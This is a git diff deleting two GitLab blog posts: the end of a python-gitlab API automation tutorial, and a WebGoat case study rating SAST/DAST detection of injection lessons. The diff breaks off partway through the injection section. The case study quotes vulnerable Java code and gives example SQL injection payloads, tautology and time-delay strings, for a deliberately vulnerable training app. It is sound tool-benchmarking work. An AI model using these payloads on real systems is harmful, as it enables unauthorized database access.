-    'access_level': 40, 'access_level_description': 'Maintainers', 'user_id':
-    None, 'group_id': None}]
-
-    Adding branch production to protected branches settings
-
-    ```
-
-
-    ![GitLab project settings for repositories and protected branches, main and
-    production
-    branch](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main_production.png){:
-    .shadow}
-
-
-    ### Taking notes, generate due date overview
-
-
-    A [Hacker News discussion about note-taking
-    tools](https://news.ycombinator.com/item?id=32155848) inspired me to take a
-    look into creating a Markdown table overview, fetched from files that take
-    notes, and sorted by the parsed due date. The script is located
-    [here](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/generate_snippets_index_by_due_date.py)
-    and more complex to understand.
-
-
-    <!--
-
-    # 2022-07-19 Notes
-
-
-    HN topic about taking notes: https://news.ycombinator.com/item?id=32152935
-
-
-    -->
-
-
-    ### Create issue index in a Markdown file, grouped by labels
-
-
-    A similar Hacker News question inspired me to write a
-    [script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/generate_issue_index_grouped_by_label.py)
-    that parses all issues in a GitLab project by labels, and creates or updates
-    a Markdown index file in the same repository. The issues are grouped by
-    label.
-
-
-    First, the issues are fetched from the project, including all labels, and
-    stored in the `index` dictionary.
-
-
-    ```python
-
-    p = gl.projects.get(PROJECT_ID)
-
-
-    labels = p.labels.list()
-
-
-    index={}
-
-
-    for i in p.issues.list():
-        for l in i.labels:
-            if l not in index:
-                index[l] = []
-
-            index[l].append("#{id} - {title}".format(id=i.id, title=i.title))
-    ```
-
-
-    The second step is to create a Markdown formatted listing based on the
-    collected index data, with the label name as key, holding a list of issue
-    strings.
-
-
-    ```python
-
-    index_str = """# Issue Overview
-
-    _Grouped by issue labels._
-
-    """
-
-
-    for l_name, i_list in index.items():
-        index_str += "\n## {label} \n\n".format(label=l_name)
-
-        for i in i_list:
-            index_str += "- {title}\n".format(title=i)
-    ```
-
-
-    The last step is to create a new file in the repository, or update an
-    existing one. This is a little tricky because the API expects you to define
-    the action and will throw an error if you try to update a nonexistent file.
-    The first condition checks whether the file path exists in the repository,
-    and then defines the `action` attribute. The `data` dictionary gets built,
-    with the final `commits.create()` method called.
-
-
-    ```python
-
-    # Dump index_str to FILE_NAME
-
-    # Create as new commit
-
-    # See
-    https://docs.gitlab.com/ce/api/commits.html#create-a-commit-with-multiple-files-and-actions
-
-    # for actions detail
-
-
-    # Check if file exists, and define commit action
-
-    f = p.files.get(file_path=FILE_NAME, ref=REF_NAME)
-
-    if not f:
-        action='create'
-    else:
-        action='update'
-
-    data = {
-        'branch': REF_NAME,
-        'commit_message': 'Generate new index, {d}'.format(d=date.today()),
-        'actions': [
-            {
-                'action': action,
-                'file_path': FILE_NAME,
-                'content': index_str
-            }
-        ]
-    }
-
-
-    commit = p.commits.create(data)
-
-    ```
-
-
-    ## Advanced DevSecOps workflows
-
-
-    - [Container images to run API
-    scripts](#container-images-to-run-api-scripts)
-
-    - [CI/CD integration: Release and changelog
-    generation](#cicd-integration-release-and-changelog-generation)
-
-    - [CI/CD integration: Pipeline report
-    summaries](#cicd-integration-pipeline-report-summaries)
-
-
-    ### Container images to run API scripts
-
-
-    Installing the Python interpreter and dependent libraries into the operating
-    system may not always work, or it may be a barrier to using the API scripts.
-    A container image that can be pulled from the GitLab registry is a good
-    first step towards more DevSecOps automation and future CI/CD integrations,
-    and provides a tested environment. The python-gitlab project [provides
-    container
-    images](https://python-gitlab.readthedocs.io/en/stable/index.html#using-the-docker-images)
-    which can be used for testing.
-
-
-    The cloned script repository can be mounted into the container, and the
-    settings are configured using environment variables. Example with Docker
-    CLI:
-
-
-    ```shell
-
-    $ docker run -ti -v "`pwd`:/app" \
-      -e "GL_SERVER=http://gitlab.com" \
-      -e "GL_TOKEN=$GITLAB_TOKEN" \
-      -e "GL_GROUP_ID=16058698" \
-    registry.gitlab.com/python-gitlab/python-gitlab:slim-bullseye \
-
-    python /app/python_gitlab_manageable_objects.py
-
-    ```
-
-
-    ### CI/CD integration: Release and changelog generation
-
-
-    Creating a Git tag and a release in GitLab often requires a changelog
-    attached. This provides a summary into all Git commits, all merged merge
-    requests, or something similar that is easier to consume for everyone
-    interested in the changes in this new release. Automating the changelog
-    generation in CI/CD pipelines is possible using the GitLab API. The simplest
-    list uses the Git commit history shown in the
-    [`create_simple_changelog_from_git_history.py`](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/create_simple_changelog_from_git_history.py)
-    script below:
-
-
-    ```python
-
-    project = gl.projects.get(PROJECT_ID)
-
-    commits = project.commits.list(ref_name='main', lazy=True, iterator=True)
-
-
-    print("# Changelog")
-
-
-    for commit in commits:
-        # Generate a markdown formatted list with URLs
-        print("- [{text}]({url}) ({name})".format(text=commit.title, url=commit.web_url, name=commit.author_name))
-    ```
-
-
-    Executing the script on the [o11y.love
-    project](https://gitlab.com/everyonecancontribute/observability/o11y.love)
-    will print a Markdown list with URLs.
-
-
-    ```shell
-
-    $ python3 create_changelog_from_git_history.py
-
-    # Changelog
-
-    - [Merge branch 'topics-ebpf-opentelemetry' into
-    'main'](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/75df97e13e0f429803dc451aac7fee080a51f44c)
-    (Michael Friedrich)
-
-    - [Move eBPF/OpenTelemetry into dedicated topics pages
-    ](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/8fa4233630ff8c1d65aff589bd31c4c2f5df36cb)
-    (Michael Friedrich)
-
-    - [Merge branch 'workshop-add-k8s-o11y-toc' into
-    'main'](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/8b7949b19af6aa6bf25f73ca1ffe8616a7dbaa00)
-    (Michael Friedrich)
-
-    - [Add TOC for Kubesimplify Kubernetes Observability workshop
-    ](https://gitlab.com/everyonecancontribute/observability/o11y.love/-/commit/63c8ad587f43e3926e6749a62c33ad0b6f229f47)
-    (Michael Friedrich)
-
-
-    ...
-
-    ```
-
-    **Exercise**: The script is not production ready yet but should get you
-    going to group by commits by Git tag/release, filter merge commits, attach
-    the changelog file or content into the [GitLab release
-    details](https://docs.gitlab.com/ee/api/releases/), etc.
-  category: Engineering
-  tags:
-    - integrations
-    - tutorial
-    - DevSecOps
-    - DevSecOps platform
-config:
-  slug: efficient-devsecops-workflows-hands-on-python-gitlab-api-automation
-  featured: false
-  template: BlogPost
diff --git a/content/en-us/blog/how-to-benchmark-security-tools.yml b/content/en-us/blog/how-to-benchmark-security-tools.yml
deleted file mode 100644
index 99e3e0fbd..000000000
--- a/content/en-us/blog/how-to-benchmark-security-tools.yml
+++ /dev/null
@@ -1,47 +0,0 @@
-seo:
-  title: 'How to benchmark security tools: a case study using WebGoat'
-  description: >-
-    When tasked to compare security tools, it's critical to understand what's a
-    fair benchmark. We take you step by step through WebGoat's lessons and
-    compare them to SAST and DAST results.
-  ogTitle: 'How to benchmark security tools: a case study using WebGoat'
-  ogDescription: >-
-    When tasked to compare security tools, it's critical to understand what's a
-    fair benchmark. We take you step by step through WebGoat's lessons and
-    compare them to SAST and DAST results.
-  noIndex: false
-  ogImage: images/blog/hero-images/benchmarking.jpg
-  ogUrl: https://about.gitlab.com/blog/how-to-benchmark-security-tools
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: https://about.gitlab.com/blog/how-to-benchmark-security-tools
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "How to benchmark security tools: a case study using WebGoat",
-            "author": [{"@type":"Person","name":"Isaac Dawson"}],
-            "datePublished": "2020-08-11",
-          }
-
-content:
-  title: 'How to benchmark security tools: a case study using WebGoat'
-  description: >-
-    When tasked to compare security tools, it's critical to understand what's a
-    fair benchmark. We take you step by step through WebGoat's lessons and
-    compare them to SAST and DAST results.
-  authors:
-    - Isaac Dawson
-  heroImage: images/blog/hero-images/benchmarking.jpg
-  date: '2020-08-11'
-  body: "As your organization grows, the necessity for having automated security tools be a component of your development pipeline will increase. According to the latest [BSIMM10 study](https://www.bsimm.com/about.html), full-time security members represented just 1.37% of the number of developers. That's one security team member for every 73 developers. Without automated tooling assisting security teams, vulnerabilities may more easily find their way into production.\n\nWhen tasked to compare security tools, having the knowledge to judge a fair benchmark is paramount for success. We're going to take a very in-depth look at WebGoat's lessons in this blog post.\n\n## Running a fair benchmark\n\nThere are many factors that need to be taken into consideration when comparing various security tools.\n\n1. Is the tool I am testing right for my organization?\n2. Do the applications I chose to run the tools against reflect what my organization uses?\n3. Do the applications contain real security issues in real world scenarios, or are they synthetic?\n4. Are the results consistent across runs? Are they actionable? \n\n### Choosing the right tool\n\nSome tools are developer focused, while others may be tailored to security teams. Highly technical tools built for security teams may give better results, but if it requires domain expertise and significant tuning, it may end up being a worse choice for your organization. \n\nYour organization may also be more concerned about a tool which can run relatively quickly within your development pipeline. If your developers need results immediately, a SAST or DAST tool which takes hours or days to complete may be next to worthless.\n\n### Choosing applications\n\nIt's important when comparing tools that they are run against applications that have been developed in-house or closely mirror what your development teams are creating. A SAST tool that's excellent at finding Java security issues will not necessarily translate to one that's great at finding actionable issues in a NodeJS application. If your organization has a diverse set of languages you should run each tool against applications that reflect those environments.\n\n### Real world flaws\n\nApplications like [WebGoat](https://owasp.org/www-project-webgoat/) or [OWASP's Java Benchmark](https://github.com/OWASP/Benchmark) do not represent real world applications. Most vulnerabilities have been purposely injected into very simple data and code flows. The majority of flaws in WebGoat exist in the same Java class where the source of user input is defined. In reality, a large number of security issues will be hidden in nested layers of abstraction or multiple function or method calls. You'll want to ensure your test suite of applications includes real world applications and the tools can traverse these complex flows to find potential flaws.\n\nEven if a tool is excellent at finding language specific issues, it may or may not support the development team's choice in frameworks. Most SAST tools need to add support for specific frameworks. If the tool supports the language of choice but does not support the particular framework, there will be a higher chance for poor results.\n\n### Are results consistent and useful?\n\nAnalysis of applications should be run multiple times – DAST tools in particular have a difficult time with consistency due to the dynamic nature of testing live applications. Ensure each tool is run the same number of times to gather enough data points to make a clear decision.\n\nSecurity tools tend to over report issues and this can end up causing alert fatigue and reduce the value of the tool. It's important to tune the tools to reduce the number of non-actionable results. Just pay attention to how much time is required to maintain this tuning effort and be sure to include this in the final decision. \n\n## WebGoat as a benchmarking target\n\nWebGoat is a known vulnerable application that was built to help developers and people interested in web application security understand various flaws and risks to applications. Over the years it has seen numerous contributions to the lessons and became a de facto standard for learning about web application security.\n\nDue to the increase in popularity of this project, customers have chosen to rely on using it as a benchmark when assessing the capabilities of various SAST and DAST tools. The purpose of this post is to outline some potential pitfalls when using WebGoat as a target for analysis.\n\nWebGoat was built as a learning aid, not for benchmarking purposes. Certain methods chosen to demonstrate vulnerability do not actually result in real flaws being implemented in WebGoat. To a human attempting to exercise certain flaws, it may look like they've succeeded in finding an issue. In reality, the WebGoat application just makes it appear like they've discovered a flaw. \n\nThis can cause confusion when an automated tool is run against WebGoat. To a human, they expect the tool to find a flaw at a particular location. Since a number of lessons include synthetic flaws, the tools will fail to report them. \n\nFor this post, GitLab's Vulnerability Research Team used the v8.1.0 release of WebGoat, however a number of the issues identified will be applicable to older versions as well.\n\n## WebGoat's architecture\n\nThe focus of this post is on WebGoat and in particular as a target for benchmarking. The WebGoat repository has grown in size over the years and now includes multiple sub-projects:\n\n- webgoat-container - This project holds the static content as well as the [Spring Boot](https://spring.io/projects/spring-boot) Framework's lesson scaffolding. The frontend is built using [Backbone.js](https://backbonejs.org/).\n- webgoat-images - Contains a Vagrant file for training purposes.\n- webgoat-integration-tests - Contains test files\n- webgoat-lessons - Contains the source and resources for the lessons.\n- webgoat-server - The primary entry point for the SpringBootApplication.\n- webwolf - An entirely separate project for assisting users in exploiting various lessons.\n\nWhen building the WebGoat target application, the webgoat-container, webgoat-server and webgoat-lessons are all included into a single SpringBoot server packaged as a JAR artifact. \n\nFor the most part, lessons that contain legitimate flaws exist in a single class file. Certain SAST tools which implement extensive taint tracking capabilities may not be fully exercised. The end result being, SAST tools with limited capabilities will find just as many flaws as more advanced tools that can handle intra-procedural taint flows. It would be better to benchmark these tools against relatively complex applications versus comparing them with WebGoat's simplistic flaws.\n\n## Analysis methodology \n\nOnly the webgoat-container, webgoat-server and webgoat-lessons projects are included in our analysis of WebGoat for SAST/DAST tools. The other projects webgoat-images, webgoat-integration-tests and webwolf are not included. \n\nOur analysis follows the lessons and attempts to identify in the source where the flaws, if any, exist. If a lesson is a description or does not process user input, it is not included in the flaw category listing below. \n\nEach lesson is broken down to cover the following:\n\n- Flaw category\n- Lesson with title\n- Link as viewable from a browser\n- Source\n- Lesson's purpose \n- Relevant source code\n- Whether DAST/SAST would be able to find and the probability level\n    - Possible: A DAST/SAST tool should be able to find the flaw with little to no configuration changes or custom settings\n    - Probable: A DAST/SAST tool could find the flaw with some configuration changes or custom settings\n    - Improbable: A DAST/SAST tool most likely will not be able to find the flaw, due to either hardcoded values or other conditions that are not realistic\n    - Impossible: A DAST/SAST tool would not be able to find any flaw due to it being completely synthetic or other unrealistic circumstances\n- Reasoning why it can or can't be found with a SAST or DAST tool\n- Example attack where applicable.\n\nIn many places there are additional flaws that exist in the code but are not part of the lesson; we will highlight some of these but not exhaustively.\n\nPlease note this post contains spoilers, if you are new to WebGoat as a learning tool and wish to use it for study, it is recommended to do that first before reading our analysis.\n\n## (A1) Injection\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A1) Injection > SQL Injection (intro) > What is SQL?\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/1\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run full SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java#L55-65 \n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (var connection = dataSource.getConnection()) {\n        Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);\n        ResultSet results = statement.executeQuery(query);\n        StringBuffer output = new StringBuffer();\n\n        results.first();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source (line 55) and is used in a statement's executeQuery method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack2` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=(SELECT repeat('a',50000000) from information_schema.tables)` will take ~3 seconds to complete.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Manipulation Language (DML)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run UPDATE/INSERT SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java#L56-65\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,\n                    CONCUR_READ_ONLY);\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 56 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack3` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from employees)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Definition Language (DDL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/3\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to create tables via SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java#L52-59\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 53 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL injection queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the /SqlInjection/attack4 endpoint's query parameter vulnerable to sql injection.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from information_schema.tables)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Control Language (DCL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it pretends to allow users to run grant/alter on tables via SQL queries. However, it is not calling any SQL functionality.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java#46-51\n\nString regex = \"(?i)^(grant alter table to [']?unauthorizedUser[']?)(?:[;]?)$\";\nStringBuffer output = new StringBuffer();\n\n// user completes lesson if the query is correct\nif (query.matches(regex)) {\n    output.append(\"<span class='feedback-positive'>\" + query + \"</span>\");\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n**DAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > What is SQL injection?\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/5\n\n**Source:** \n- Static content only\n\n**Lesson:**\n\nThis lesson is for practicing SQL Injection query string generation, but does not call any server side functionality.\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n**DAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection against database functionality with the goal of returning all results from a table.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L53-L54\n\npublic AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {\n    return injectableQuery(account + \" \" + operator + \" \" + injection);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L57-62\n\nprotected AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        query = \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {\n            ResultSet results = statement.executeQuery(query);\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `executeQuery` method is called from a dynamically concatenated string containing user input.\n\n**DAST Reasoning:**\n\nThe three inputs `account`, `operator` and `injection` are all concatenated together and each parameter could technically be used as an attack vector. In this case a DAST tool will most likely suffer from over reporting duplicate flaws, as the three input vectors all end up being used in the same resultant query string.\n\n**Example Attack(s):**\n- `account=Smith' or 1%3d1--&operator=&injection=`\n- `account=&operator=Smith' or 1%3d1--&injection=`\n- `account=&operator=&injection=Smith' or 1%3d1--`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! Numeric SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection when the column type is restricted to numerical values. The goal is to return all results from a table. While the resultant query does make use of prepared statements, it incorrectly concatenates user input for the `userid` column.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java#L56-71\n\nString queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\ntry (Connection connection = dataSource.getConnection()) {\n        PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n        ...\n        ResultSet results = query.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the query is correctly used in a PreparedStatement only the `Login_Count` is parameterized, the `accountName` is still dynamically assigned, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters, and provided the correct attack string is used, should successfully identify that the `userid` parameter is vulnerable to SQL Injection.\n\n**Example Attack:**\n- `login_count=1&userid=1+or+1%3D1`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising confidentiality with String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/10\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to return all results from a table. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java#L59-65\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);\n        log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Integrity with Query chaining\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to modify a users salary. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java#L61-66\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);\n        SqlInjectionLesson8.log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters `name` and `auth_tan` which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Availability\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/12\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\n\n**Lesson:**\n\nThis lesson provides a form for testing SQL Injection where the goal is remove evidence of attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java#L58-63\n\nString query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n        try (Connection connection = dataSource.getConnection()) {\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe action user supplied values are dynamically concatenated to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the action_string parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `action_string=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > Try It! Pulling data from other tables\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:**\n\nThis lesson is to demonstrate how to extract data from tables other than the one the query was defined to execute against.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#L60-67\n\nquery = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n//Check if Union is used\nif (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n    usedUnion = false;\n}\ntry (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n        ResultSet.CONCUR_READ_ONLY)) {\n    ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `accountName` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `userid_6a` parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `userid_6a=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > (no title)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\n\n**Lesson:**\n\nThis lesson is a challenge to attempt to extract data from the database that leads to the attacker being able to login as a different user by executing SQL Injection attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java#L63-65\n\nString checkUserQuery = \"select userid from sql_challenge_users where userid = '\" + username_reg + \"'\";\nStatement statement = connection.createStatement();\nResultSet resultSet = statement.executeQuery(checkUserQuery);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `username_reg` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `username_reg` parameter with a timing or blind sql injection based attack string, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `username_reg='%2b(select+repeat('a', 50000000)+from+information_schema.tables)%2b'&email_reg=asdf&password_reg=asdf&confirm_password_reg=asdf`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 9)\n\n**Link:** 